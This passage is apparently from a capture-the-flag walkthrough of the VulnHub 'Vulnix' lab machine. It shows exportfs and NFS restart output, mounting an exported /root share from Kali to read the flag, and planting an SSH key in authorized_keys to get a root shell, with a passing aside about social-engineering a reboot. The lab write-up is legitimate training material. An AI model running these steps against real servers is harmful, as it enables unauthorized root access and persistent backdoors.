exportfs: /etc/exports [1]: Neither 'subtree_check' or 'no_subtree_check' specified for export "*:/home/vulnix".
Assuming default behaviour ('no_subtree_check').
NOTE: this default has changed since nfs-utils version 1.0.x
exportfs: /etc/exports [2]: Neither 'subtree_check' or 'no_subtree_check' specified for export "*:/root".
Assuming default behaviour ('no_subtree_check').
NOTE: this default has changed since nfs-utils version 1.0.x
exportfs: could not open /var/lib/nfs/.etab.lock for locking: errno 13 (Permission denied)
exportfs: can't lock /var/lib/nfs/etab for writing
vulnix@vulnix:~$ service nfs-kernel-server restart
* Stopping NFS kernel daemon start-stop-daemon: warning: failed to kill 1000: Operation not permitted
start-stop-daemon: warning: failed to kill 996: Operation not permitted
start-stop-daemon: warning: failed to kill 995: Operation not permitted
start-stop-daemon: warning: failed to kill 994: Operation not permitted
start-stop-daemon: warning: failed to kill 993: Operation not permitted
start-stop-daemon: warning: failed to kill 992: Operation not permitted
start-stop-daemon: warning: failed to kill 991: Operation not permitted
start-stop-daemon: warning: failed to kill 990: Operation not permitted
start-stop-daemon: warning: failed to kill 989: Operation not permitted
[ OK ]
* Unexporting directories for NFS kernel daemon... exportfs: could not open /var/lib/nfs/.etab.lock for locking: errno 13 (Permission denied)
exportfs: can't lock /var/lib/nfs/etab for writing
[ OK ]
umount: /proc/fs/nfsd is not in the fstab (and you are not root)
* Exporting directories for NFS kernel daemon... exportfs: /etc/exports [1]: Neither 'subtree_check' or 'no_subtree_check' specified for export "*:/home/vulnix".
Assuming default behaviour ('no_subtree_check').
NOTE: this default has changed since nfs-utils version 1.0.x
exportfs: /etc/exports [2]: Neither 'subtree_check' or 'no_subtree_check' specified for export "*:/root".
Assuming default behaviour ('no_subtree_check').
NOTE: this default has changed since nfs-utils version 1.0.x
exportfs: could not open /var/lib/nfs/.etab.lock for locking: errno 13 (Permission denied)
exportfs: can't lock /var/lib/nfs/etab for writing
[ OK ]
* Starting NFS kernel daemon [fail]
I spent a while on this and ended up rebooting the server manually. In the real world, that wouldn’t be so easy. Some sort of social engineering would be required to get someone to reboot a server. HA! Or… now that the root directory has been exported. You sit and wait, and wait, and wait until the server has been rebooted. We hope the system is regularly patched and power cycled. More than likely not though. Especially being a nix server. It probably won’t be rebooted for years! Anyway… for this scenario, let’s assume the server has been rebooted!
Now, from my machine, I can see the root home drive has been exported.
root@kali:~/Documents/vulnhub/vulnix# showmount -e 192.168.253.129
Export list for 192.168.253.129:
/root *
/home/vulnix *
Let’s try and map it. I do this as my regular Kali root user. Why? Because as I said before, every root user in nix (most cases) has a uid of 0. We are accessing a remote /root directory which is only accessible by the local root user with the same uid of 0.
root@kali:~/Documents/vulnhub/vulnix# mount -t nfs -o vers=3 192.168.253.129:/root mnt/
root@kali:~/Documents/vulnhub/vulnix# cd mnt
root@kali:~/Documents/vulnhub/vulnix/mnt# ls -la
total 28
drwx------ 3 root root 4096 Sep 2 2012 .
drwxr-xr-x 3 root root 4096 Jun 15 23:59 ..
-rw------- 1 root root 0 Sep 2 2012 .bash_history
-rw-r--r-- 1 root root 3106 Apr 19 2012 .bashrc
drwx------ 2 root root 4096 Sep 2 2012 .cache
-rw-r--r-- 1 root root 140 Apr 19 2012 .profile
-r-------- 1 root root 33 Sep 2 2012 trophy.txt
-rw------- 1 root root 710 Sep 2 2012 .viminfo
root@kali:~/Documents/vulnhub/vulnix/mnt# cat trophy.txt
cc614640424f5bd60ce5d5264899c3be
And there we have it. Trophy found and readable:
cc614640424f5bd60ce5d5264899c3be
However, let’s continue on and see if we can get an actual root SSH shell.
Generate a new key (id_rsa.pub) into my root home drive and then cat out the contents into an authorized_keys file on the target under /root/.ssh/authorized_keys
root@kali:~/Documents/vulnhub/vulnix/mnt/.ssh# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:DrwS9K7BNUfcwUFPvWRlGVBlTCshvjDqBxmp5eGxCSI root@kali
The key's randomart image is:
+---[RSA 2048]----+
| o+o.+o*X|
| ...o+. =+o|
| E ... *oo...+ o |
| ...o*.O o . o |
| ..*OS . |
| . +.*. |
| + o... |
| + . |
| . |
+----[SHA256]-----+
root@kali:~/Documents/vulnhub/vulnix/mnt/.ssh# cat /root/.ssh/id_rsa.pub > authorized_keys
root@kali:~/Documents/vulnhub/vulnix/mnt/.ssh# ssh root@192.168.253.129
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat Jun 16 06:22:50 BST 2018
System load: 0.0 Processes: 92
Usage of /: 90.2% of 773MB Users logged in: 1
Memory usage: 10% IP address for eth0: 192.168.253.129
Swap usage: 0%
=> / is using 90.2% of 773MB
Graph this data and manage this system at https://landscape.canonical.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
root@vulnix:~# id
uid=0(root) gid=0(root) groups=0(root)
root@vulnix:~# cat /root/trophy.txt
cc614640424f5bd60ce5d5264899c3be
root@vulnix:~#
And that’s a wrap. Good box and a great way to show how you can exploit writable home drives with ssh. Especially when key based authentication is enabled.
--> n33dle
